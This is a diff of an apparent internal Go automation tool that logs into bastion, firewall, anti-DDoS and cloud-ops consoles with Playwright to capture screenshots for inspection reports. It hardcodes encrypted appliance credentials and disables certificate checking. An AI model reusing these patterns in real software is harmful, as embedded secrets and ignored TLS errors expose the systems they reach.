gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
|
||||
gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
BIN
hlw-3-14-20250314104058.doc
Normal file
BIN
horizontal_bar_chart.png
Normal file
After Width: | Height: | Size: 11 KiB |
BIN
image/README/1740576743664.png
Normal file
After Width: | Height: | Size: 9.5 KiB |
BIN
image/README/1741269981656.png
Normal file
After Width: | Height: | Size: 25 KiB |
BIN
img/afc2000_1.png
Normal file
After Width: | Height: | Size: 182 KiB |
BIN
img/afc2000_2.png
Normal file
After Width: | Height: | Size: 248 KiB |
BIN
img/capt.png
Normal file
After Width: | Height: | Size: 6.6 KiB |
BIN
img/hw_baolj.png
Normal file
After Width: | Height: | Size: 196 KiB |
BIN
img/hw_dtcloud_01.png
Normal file
After Width: | Height: | Size: 270 KiB |
BIN
img/hw_dtcloud_02.png
Normal file
After Width: | Height: | Size: 254 KiB |
BIN
img/hw_dtcloud_03.png
Normal file
After Width: | Height: | Size: 260 KiB |
BIN
img/hw_dtcloud_04.png
Normal file
After Width: | Height: | Size: 225 KiB |
BIN
img/hw_dtcloud_05.png
Normal file
After Width: | Height: | Size: 126 KiB |
BIN
img/hw_dtcloud_06.png
Normal file
After Width: | Height: | Size: 146 KiB |
BIN
img/hw_dtcloud_07.png
Normal file
After Width: | Height: | Size: 697 KiB |
BIN
img/hw_dtcloud_08.png
Normal file
After Width: | Height: | Size: 157 KiB |
BIN
img/hw_dtcloud_man.png
Normal file
After Width: | Height: | Size: 290 KiB |
BIN
img/hw_fw1.png
Normal file
After Width: | Height: | Size: 384 KiB |
BIN
img/hw_tsgz.png
Normal file
After Width: | Height: | Size: 259 KiB |
BIN
img/zww_baolj.png
Normal file
After Width: | Height: | Size: 192 KiB |
BIN
img/zww_dtcloud_01.png
Normal file
After Width: | Height: | Size: 260 KiB |
BIN
img/zww_dtcloud_02.png
Normal file
After Width: | Height: | Size: 253 KiB |
BIN
img/zww_dtcloud_03.png
Normal file
After Width: | Height: | Size: 256 KiB |
BIN
img/zww_dtcloud_04.png
Normal file
After Width: | Height: | Size: 227 KiB |
BIN
img/zww_dtcloud_05.png
Normal file
After Width: | Height: | Size: 140 KiB |
BIN
img/zww_dtcloud_06.png
Normal file
After Width: | Height: | Size: 244 KiB |
BIN
img/zww_dtcloud_07.png
Normal file
After Width: | Height: | Size: 680 KiB |
BIN
img/zww_dtcloud_08.png
Normal file
After Width: | Height: | Size: 150 KiB |
BIN
img/zww_dtcloud_man.png
Normal file
After Width: | Height: | Size: 289 KiB |
BIN
img/zww_fw1.png
Normal file
After Width: | Height: | Size: 259 KiB |
BIN
img/zww_tsgz.png
Normal file
After Width: | Height: | Size: 162 KiB |
107
main.go
Normal file
@ -0,0 +1,107 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
_ "dt_automate/attackevent"
|
||||
"dt_automate/auth"
|
||||
_ "dt_automate/method"
|
||||
_ "dt_automate/wps"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
var (
|
||||
// urls string // 存储 -t 参数值
|
||||
keyss bool // 存储值
|
||||
runs bool //存储值
|
||||
// helpFlag bool
|
||||
)
|
||||
|
||||
func main() {
|
||||
//SetFlags函数用来设置标准logger的输出配置
|
||||
log.SetPrefix("[DT_AUTOMATE]: ")
|
||||
log.SetFlags(log.Llongfile | log.Lmicroseconds | log.Ldate)
|
||||
// 定义标志 -url 并设置其默认值为空字符串
|
||||
flag.BoolVar(&keyss, "v", false, "查看授权状态")
|
||||
flag.BoolVar(&runs, "run", false, "开始执行")
|
||||
// flag.BoolVar(&helpFlag, "h", false, "Show help message")
|
||||
//解析命令行参数
|
||||
flag.Parse()
|
||||
// log.Println(os.Args[1])
|
||||
if len(os.Args) > 1 {
|
||||
if keyss {
|
||||
if auth.Auth() {
|
||||
// log.Println("授权状态:", true)
|
||||
} else {
|
||||
log.Println("没有授权,请联系管理员")
|
||||
}
|
||||
}
|
||||
if runs {
|
||||
if auth.Auth() {
|
||||
//可执行程序位置
|
||||
// 互联网区截图
|
||||
// method.HW_FAC1() //截取流量清洗的图片
|
||||
// method.HW_FW1() //截取防火墙的图片
|
||||
// method.HW_TSGZ() //截取态势感知的图片
|
||||
// method.HW_BAOLJ() //截取堡垒机的图片
|
||||
// method.HW_DTCLOUD() //截取运维中心的图片
|
||||
// 政务网区截图
|
||||
// method.ZWW_FW1() //截取防火墙的图片
|
||||
// method.ZWW_TSGZ() //截取态势感知的图片
|
||||
// method.ZWWW_BAOLJ() //截取堡垒机的图片
|
||||
// method.ZWW_DTCLOUD() //截取运维中心的图片
|
||||
// 互联网区运维巡检文档生成
|
||||
// wps.HW_SYS_Word() //运维平台word文档生成
|
||||
// // 政务网区运维巡检文档生成
|
||||
// wps.ZWW_SYS_Word() //运维平台word文档生成
|
||||
// // 安全巡检文档生成
|
||||
// wps.SAFET_Word() //安全巡检文档生成
|
||||
//互联网防火墙ips事件获取 安全事件表格生成
|
||||
// attackevent.Fw_event(attackevent.HW_fw1_cookie(), "2025-03-25") //将防火墙安全事件存放到xlsx文件中
|
||||
// //政务网防火墙ips事件获取 安全事件表格生成
|
||||
// attackevent.Zww_event(attackevent.HW_zww1_cookie(), "2025-03-25") //将防火墙安全事件存放到xlsx文件中
|
||||
//nessus的csv文件生成docx报告
|
||||
// nessus.CSV_damo()
|
||||
//翻译模块调用腾讯xt翻译月500万字限制
|
||||
// log.Println(wps.Translate("hello"))
|
||||
// wps.Weekly_word()
|
||||
//调用云平台接口
|
||||
// dtcloud.EcsList() //获取ecs列表及其详情(完成)
|
||||
// dtcloud.Process() //获取单ecs进程使用情况
|
||||
// dtcloud.Memory() //获取单个ecs的memory使用情况
|
||||
// dtcloud.Cpu() ///获取单个ecs的cpu使用情况
|
||||
// dtcloud.TenantList() //获取租户列表(完成)
|
||||
//获取docx文档中所有的图片
|
||||
// wps.Weekly_get_img("")
|
||||
//生成条形图
|
||||
// wps.DrawHorizontalBarChart([]float64{486, 158, 91, 76, 52}, []string{"11.2.144.8", "11.2.144.18", "11.2.144.129", "11.2.144.139", "11.2.144.121"})
|
||||
//生成环形图
|
||||
// wps.Weekly_chart([]wps.Data{
|
||||
// {Angle: 246, Label: "1、扫描探测:246", Color: "#FF6384"}, // 红色
|
||||
// {Angle: 240, Label: "2、敏感信息泄露:240", Color: "#36A2EB"}, // 蓝色
|
||||
// {Angle: 148, Label: "3、弱密码:148", Color: "#FFCE56"}, // 黄色
|
||||
// {Angle: 66, Label: "4、可疑访问:66", Color: "#4bc0c0"}, // 绿色
|
||||
// {Angle: 61, Label: "5、SQL注入:61", Color: "#c12c1f"}, // 红色
|
||||
// })
|
||||
|
||||
} else {
|
||||
log.Println("没有授权,请联系管理员")
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
// log.Println("\n使用说明:\n请在主程序后面带上参数↓↓↓\n# # # # # # # # # # # # # # # # # # # # # # # # #\n\n实例: main -url https://www.douyin.com/follow/live/923670558441\n\n# # # # # # # # # # # # # # # # # # # # # # # # #")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
flag.Usage = func() {
|
||||
fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
|
||||
fmt.Println(" -v 查看授权状态")
|
||||
fmt.Println(" -run 开始截取图片和生成文档")
|
||||
// fmt.Println(" -h, 帮助信息")
|
||||
}
|
||||
}
|
106
method/hw_baolj.go
Normal file
@ -0,0 +1,106 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_BAOLJ() {
|
||||
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.2.65.23/webui/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(4000)
|
||||
page.Locator(`#inputUserName`).Fill(tool.KeyStr("HEfaAvhb2q7lK6wkpDmBnnBewQ4UgbKUYbKCcBdtxKVUQocdIKpoWixFpJwBPJCL81SKQv2Am6XdR5fYNM34iTmI/JfgCDpyINu0Si3cMiMVKk2GGcmoqqTmlkgnHHZxtPmX45Ma+/uPdssNLeBAwMRw1fqTdL6aBAPfpXQp1R7KaMpMC0HSyinAo7930l2JrFfatoJQRcUzyfvcE4jVVTBdk8T/DxZcLi67HAoVSajXV6LWghdQvoq6xVltm62/mSRgyRzjJnKu00BvCR5dvIWxAv5R2yjGePPCHEjE/XB9SrnUhvtej0artvTN6c5a3aDE+CzNYVZSPD/H2qZmtQ=="))
|
||||
page.Locator(`#inputPassword`).Fill(tool.KeyStr("M7NvxKswEFiifG1BV65NBR6sHvPE0SgQLmg69YYA2tojx65sbwx6aLagAcCSPfLqGFpg+01hyKuoU2jXmcjW28VyxAnFalNRrev0HSfKxnyEmAD4GFIg8xwCVwHW10HCuBdecaiqgFI2lLk+3l1gaTMCNcVPUIRHezTzXJYWZshn74ncQsQObSZWQLgfFX6l6olynLMtS+W2BP3PZuKhIhNykAzrXxoNzGE65T3nd5IjzpzsxZCnDe0/+ihuakINuo/r8cpqp+8/WG/6F/nUczjWWuZyI/kQW+1K1gC5IYLsWZ/zpzj0sH9sx55VYmqEwaPsHQ2owHi+YR0lIgH7rg=="))
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("是否需要输入验证码1允许,0跳过:")
|
||||
name, _ := reader.ReadString('\n')
|
||||
if name == "1" {
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
page.Locator(`#inputCaptcha`).Fill(input)
|
||||
}
|
||||
page.Locator(`.loginFormButtonLogin`).Click()
|
||||
reader1 := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入OTA口令:")
|
||||
input, _ := reader1.ReadString('\n')
|
||||
page.Locator(`.form-group.form-control.dynamic_code`).Nth(0).Locator(`input[name="token"]`).Fill(input)
|
||||
//登录
|
||||
page.Locator(`.form-group`).Nth(7).Locator(`button`).Nth(2).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Goto("https://11.2.65.23/webui/#/business/audits/event/log/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
page.WaitForTimeout(2000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.WaitForTimeout(1000)
|
||||
tool.Jietu("img/hw_baolj.png")
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
164
method/hw_dtcloud.go
Normal file
@ -0,0 +1,164 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_DTCLOUD() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://ops.hlw.dtcloud.com/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
// page.WaitForTimeout(4000)
|
||||
//输入用户名
|
||||
page.Locator(`.el-input__inner`).Nth(0).Fill(tool.KeyStr("3NbusEwAg8BAhH5Wv2b1XcuYyaSt+uLvj45lRp393k9VirsvUliD5LFS2mJQZVQ3ondHfmQQYA8vflcWVBf/pVSuArDs4RXoZUP2xSXfe2kO5R0n7SuPSwXPPa1Vo+3R3byZzdNKa82qNAV+3O035rKfc3FTzch9WKuaBs/2yjUsjqdp7iFB4XU6YaoraLBqb0h9EFqdvr/4Xj5YdwTFgpk3kCQAAHy55OgWCIyaOs3rGYJD7QnFBQYDznSMkzLXNxPAWPa/QwT9fFmRAtR7rOV7TQZw3u/0O++OtxiAn+LlRSQ/Bc2BGy2ey6DuaZspix98HxSkFm1NwWpzhjpYBg=="))
|
||||
//输入密码
|
||||
page.Locator(`.el-input__inner`).Nth(1).Fill(tool.KeyStr("oek2tv5sBrW6J+UiSXAok7K/bkg2369+xhX0alJ4jegEmiIU+jonkdUY4vH1xX+BTSL1JAemapN11nL7BTejdYYoEnWGQd2H8tpU2HSlJlJu46+NWLEMTmUIe9aDLtdBdzVifOoXAFRFtcPBAYrylPpVQIiqSuZbzS6pZAmjViQ0fV5K64lZMewvSob3nPLlf6UYqJALwZ00OuE1wb4sm93rpjHWWV9EhBJq0z5+4uKq1dK+6VtgmD8Btm98tniqN73GgBmLFytrrGFmBAPUcy9X2e4p0/eyU90vVTNRd5mYbeG7oCJssKG8okCeUELdoR9MF9pQqJHOLvDBHkpmMA=="))
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
//输入验证码
|
||||
page.Locator(`.el-input__inner`).Nth(2).Fill(input)
|
||||
log.Println("当前验证码为:", input)
|
||||
page.WaitForTimeout(2000)
|
||||
//登录
|
||||
if err := page.Locator(".el-button.login-form-item.login-btn.el-button--primary").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(40000)
|
||||
//运维中心主页
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_man.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_man.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "运维中心主页")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/console/om/capacity/overview?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //跳转到运维中心概览
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_01.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_01.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "运维中心概览")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/console/om/capacity/resource?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-资源容量
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_02.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_02.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "运维-资源容量")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/region/dtcloud1/console/om/monitor/overview", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-概览
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_03.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_03.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "监控-概览")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/region/dtcloud1/console/om/monitor/resource", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-资源监控-物理服务器
|
||||
page.WaitForTimeout(10000)
|
||||
page.Locator(`.arco-tree.arco-tree-show-line`).Locator(`div`).Nth(8).Locator(`span`).Nth(2).Locator(`span`).Nth(0).Click()
|
||||
page.Locator(`div[data-test-id="PhysicalServer"]`).Click()
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_04.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_04.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "监控-资源监控-物理服务器")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/region/dtcloud1/console/om/alert/view", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-告警-告警查看
|
||||
page.WaitForTimeout(10000)
|
||||
page.Locator(`.arco-space-item`).Nth(0).Locator(`div`).Nth(1).Locator(`button`).Click()
|
||||
page.WaitForTimeout(2000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_05.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_05.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "监控-告警-告警查看")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/region/dtcloud1/console/om/alert/history", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-告警--告警历史
|
||||
page.WaitForTimeout(10000)
|
||||
page.Locator(`.arco-btn.arco-btn-outline.arco-btn-size-default.arco-btn-shape-square`).Nth(0).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`.arco-input-tag-input.arco-input-tag-input-size-default.arco-input-tag-input-autowidth`).Click()
|
||||
page.Locator(`.arco-select-option-wrapper`).Nth(0).Locator(`.arco-checkbox-mask`).Click()
|
||||
page.Locator(`.arco-btn.arco-btn-primary.arco-btn-size-mini.arco-btn-shape-square`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_06.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_06.png")
|
||||
|
||||
log.Printf("Page title is: %s\n", "监控-告警--告警历史")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/region/dtcloud1/console/om/health-inspection/outputs?page=1&size=10&order=createTime%3Adesc&searchResult=%7B%7D", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-监控巡检-巡检结果
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_07.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_07.png")
|
||||
// 获取页面标题
|
||||
|
||||
log.Printf("Page title is: %s\n", "运维-监控巡检-巡检结果")
|
||||
page.Goto("https://ops.hlw.dtcloud.com/console/om/capacity/service?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-容量-云服务容量
|
||||
page.WaitForTimeout(10000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/hw_dtcloud_08.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
log.Printf("Page title is: %s\n", "运维-容量-云服务容量")
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
117
method/hw_fac2000.go
Normal file
@ -0,0 +1,117 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"dt_automate/tool"
|
||||
"log"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_FAC1() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.2.65.19/", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(2000)
|
||||
//输入
|
||||
if err := page.Locator(`.cover-input input[placeholder="账号"]`).Fill(tool.KeyStr("gyZxYqy9Bjl0Zh09JWG+pemEJWdig+oxxIck8jgq+gKKFEYMBQJpY6rLlhhyC6qU4N4aPP+BkErlx8vD2/5rUDpOWIpnLq0yUHPlOR1ZrrtNJ4uA39goVnDYSn4Qwg3v3He5rdzkj25Xmt7LMScAWdMt+j2QdGKnRtMLOkkGoPQpsp+2ft4b7jxD90Hx30g1BM7Hj4QqtlEpHbR6qjEY6rQyTppJ2+WGGpNj5dIl/QAFSZpFR1iLJGxrXkAmzCzz2S+hveJ+5IhZLsDKfgFXR2VWZdRXdAdjaNzCK/4H4WQp19ZA9cxjGieUOFHBe/Hz49O0RYQnj/8Udd9HDmElMA==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
if err := page.Locator(`.cover-pwd input[placeholder="密码"]`).Fill(tool.KeyStr("IUe1xEFLjpjQsPfJO4/q6hHLoazsJri3uRCg2If9V7D69nHrmeu48Mveyju19RV0G5g31Td7EX0JnAuT08LtbgVVDFq8ZY9oPi7kUIMdhwadL1hiPpI3/UNQ4ZD8MVjUxb5NRoRs34TQd/pQgiHJEueGulJFjLWHw2vCya/MYFUJf+qezMHdhTBbx7QNxs6R3XkCN6G5ksVWgBrNU239INlRtNDo5eDWk8W7wO64Dh1tnmhIOZ3Kvn3Xdk07y9nbg+FtAj9R5okQWMzhlhvmqrUeJJVIxywmZhZ2H2Q9kcf7zq3DeaRDUQApIdqdup6EriSqMdMEQ4muZAi/+cS8mw==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(500)
|
||||
//登录
|
||||
if err := page.Locator(".login-btn").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`.nav-two a[title="日志中心"]`).Click()
|
||||
page.WaitForTimeout(2000)
|
||||
// 执行 JavaScript 代码
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.WaitForTimeout(500)
|
||||
// page.Screenshot(playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/afc2000_1.png"),
|
||||
// })
|
||||
tool.Jietu("img/afc2000_1.png")
|
||||
page.Locator(`#OneLevel0_TwoLevel3 a[href="#"]`).Click()
|
||||
page.WaitForTimeout(2000)
|
||||
// 定位 iframe
|
||||
// 等待 iframe 加载完成
|
||||
// _, err = page.WaitForSelector(".panel-body.panel-body-noheader.panel-body-noborder iframe")
|
||||
// if err != nil {
|
||||
// log.Fatalf("等待 iframe 加载失败: %v", err)
|
||||
// }
|
||||
// page.Locator(`#peak_value .content input[value="查询"]`).Click()
|
||||
// 定位 iframe 并操作内部元素
|
||||
iframeLocator, _ := page.QuerySelectorAll("iframe")
|
||||
iframe, _ := iframeLocator[1].ContentFrame()
|
||||
iframe.Locator(`#peak_value input[value="查询"]`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
iframe.Locator(`#peak_value input[value="2"]`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
// page.Screenshot(playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/afc2000_2.png"),
|
||||
// FullPage: playwright.Bool(true),
|
||||
// })
|
||||
tool.Jietu("img/afc2000_2.png")
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
page.WaitForTimeout(5000)
|
||||
// StartBlocker()
|
||||
}
|
121
method/hw_fw1.go
Normal file
@ -0,0 +1,121 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"dt_automate/tool"
|
||||
"log"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_FW1() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
